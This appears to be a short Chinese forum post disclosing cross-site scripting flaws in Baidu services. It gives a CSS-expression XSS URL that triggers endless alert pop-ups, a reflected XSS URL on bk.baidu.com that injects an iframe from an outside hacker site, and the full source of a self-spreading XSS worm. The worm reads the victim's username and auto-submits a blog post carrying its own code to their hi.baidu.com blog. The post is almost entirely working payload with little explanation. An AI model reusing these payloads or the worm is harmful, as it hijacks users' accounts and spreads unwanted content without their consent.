http://www.baidu.com/index.php?bar=[/url]"/**/style=xss:expression(alert('xss'));


有点死循环的性质,无限弹窗.


<div id="xssworm">.
<form name="form1" id="popFormSubmit" action="" method="post">
<input type="hidden" name="ct" value="1">
<input type="hidden" name="cm" value="1">
<input type="hidden" id="url" name="spRefURL" value="">
<input type="hidden" id="title" name="spBlogTitle" value="百度又有新漏洞啦-F14r3">
<input type="hidden" id="content" name="spBlogText" value="">
<input type="hidden" name="spBlogCatName" value="默认分类">
<input type="hidden" name="spIsCmtAllow" value="1">
<input type="hidden" name="spBlogPower" value="0">
<input type="hidden" name="spVcode" value="">
<input type="hidden" name="spVerifyKey" value="">
<input type="hidden" name="tj" value=" 发表文章 " >
</form>
<script>
function $(i){return document.getElementById(i);}
window.onload = function(){
    var j=document.body.innerText;
    var i=j.indexOf("|");
    j=j.substr(0,i);
    form1.action = "http://hi.baidu.com/"+j+"/commit";
    $("content").value = escape($("xssworm").outerHTML);
    form1.submit();
}
</script>
</div>

跨站漏洞:

http://bk.baidu.com/s?wd=</title><iframe%20src=http://www.cnxhacker.com></iframe